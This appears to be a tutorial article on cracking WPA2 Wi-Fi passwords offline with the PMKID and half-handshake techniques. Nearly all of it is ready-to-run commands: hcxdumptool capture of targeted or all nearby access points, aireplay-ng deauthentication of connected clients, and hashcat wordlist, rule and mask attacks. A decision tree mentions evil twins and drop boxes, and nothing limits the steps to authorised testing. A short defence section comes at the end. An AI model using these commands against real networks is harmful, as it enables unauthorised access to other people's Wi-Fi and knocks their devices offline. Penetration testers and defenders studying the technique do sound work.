Techzone/WPA2 PMKID & Half-Handshake Attacks

WPA2 PMKID & Half-Handshake Attacks

3 min readArticle

Combined guide for two related WPA2 cracking techniques that reduce or eliminate the need for a fully captured 4-way handshake. Both produce a hash crackable offline with hashcat -m 22000. The unified .hc22000 format handles both in one file.

Why Bother With These Techniques

Standard 4-way handshake capture requires:

  • An active client connecting to the AP (or deauth + wait for reconnect)
  • Capturing all 4 EAPOL frames at the right moment
  • Noisy deauth packets visible to WIDS (wireless intrusion detection systems)
  • APs with PMF/802.11w rejecting deauth from unauthenticated stations

Both techniques below work around these limitations.

Technique 1: PMKID Attack (Fully Clientless)

shell 
PMKID = HMAC-SHA1-128(PMK, "PMK Name" || BSSID || Client_MAC)
PMK   = PBKDF2(HMAC-SHA1, passphrase, SSID, 4096 iterations, 32 bytes)

Capture:

bash 
sudo airmon-ng check kill

# hcxdumptool manages monitor mode and probes APs automatically
sudo hcxdumptool -i wlan0 -o capture.pcapng --enable_status=1

# Target specific AP (BSSID lowercase, no colons):
echo "aabbccddeeff" > targets.txt
sudo hcxdumptool -i wlan0 -o capture.pcapng --filtermode=2 --filterlist_ap=targets.txt
# Watch for [PMKID captured] — done in seconds if AP supports it

Extract and crack:

bash 
hcxpcapngtool -o hashes.hc22000 capture.pcapng   # WPA*01* lines = PMKIDs
hashcat -m 22000 hashes.hc22000 /usr/share/wordlists/rockyou.txt
hashcat -m 22000 hashes.hc22000 --show             # display cracked passwords

Technique 2: Half-Handshake (EAPOL M1 + M2 Only)

A "half-handshake" means capturing only EAPOL Message 1 (AP→client, contains ANonce) and Message 2 (client→AP, contains SNonce + MIC). Messages 3 and 4 are not needed because the MIC in M2 is computed from PTK which is derived from PMK + both nonces — enough to crack offline.

When does a half-handshake occur:

  • Client begins connecting but disconnects before completing
  • Packet loss drops M3 or M4
  • Only 1–2 deauth packets sent — client reconnects immediately, M1+M2 captured before M3+M4

Capture:

bash 
sudo airodump-ng wlan0mon --bssid AA:BB:CC:DD:EE:FF -c 6 -w half_shake

# Trigger with minimal deauth (just enough for M1+M2, not a full reconnect cycle)
sudo aireplay-ng --deauth 2 -a AA:BB:CC:DD:EE:FF wlan0mon

Extract (hcxpcapngtool handles incomplete handshakes):

bash 
hcxpcapngtool -o hashes.hc22000 half_shake-01.cap
# WPA*02* lines = EAPOL handshakes (full or partial)

hashcat -m 22000 hashes.hc22000 /usr/share/wordlists/rockyou.txt -O -w 3

Combined Capture (Recommended Best Practice)

hcxdumptool captures both PMKID and EAPOL in a single session:

bash 
sudo hcxdumptool -i wlan0 -o combined.pcapng \
    --enable_status=3 \
    --active_beacon \
    --do_rcascan

# Let run 5–10 minutes — collects from all nearby APs
hcxpcapngtool -o all_hashes.hc22000 combined.pcapng

# See what was captured
wc -l all_hashes.hc22000         # total crackable targets
grep "^WPA\*01\*" all_hashes.hc22000 | wc -l   # PMKIDs
grep "^WPA\*02\*" all_hashes.hc22000 | wc -l   # EAPOL handshakes

hashcat -m 22000 all_hashes.hc22000 /usr/share/wordlists/rockyou.txt

Decision Tree

shell 
AP in range?
├─ Yes → Try PMKID first (hcxdumptool, 60 sec)
│        ├─ [PMKID captured] → crack with hashcat -m 22000 → done
│        └─ No PMKID (AP doesn't support it)
│             └─ Client connected?
│                  ├─ Yes → 2× deauth → capture M1+M2 → hcxpcapngtool → hashcat
│                  └─ No  → Wait for client, or evil twin to lure one in
└─ No → Get closer or deploy a drop box + airserv-ng

Wordlist Strategy

bash 
# Standard wordlist
hashcat -m 22000 hashes.hc22000 /usr/share/wordlists/rockyou.txt

# Wordlist + rules (best64 catches most common transformations)
hashcat -m 22000 hashes.hc22000 rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# 8-digit PIN passwords (very common on ISP-provisioned routers)
crunch 8 8 0123456789 -o digits8.txt
hashcat -m 22000 hashes.hc22000 digits8.txt

# Mask attack (known pattern: Capital + 6 lowercase + 2 digits)
hashcat -m 22000 hashes.hc22000 -a 3 ?u?l?l?l?l?l?l?d?d

Defense

  • WPA3-SAE: Dragonfly handshake — no PMK from PSK, no offline cracking possible
  • Strong random passphrase (15+ chars): brute-force becomes computationally impractical
  • Monitor for hcxdumptool probes: active probes appear as unusual association attempts in airodump-ng — a WIDS can alert on them
  • PMF (802.11w): makes deauth-based M1+M2 capture harder; combine with strong PSK for layered defense
techzonesite.comUnlock Your IT Potential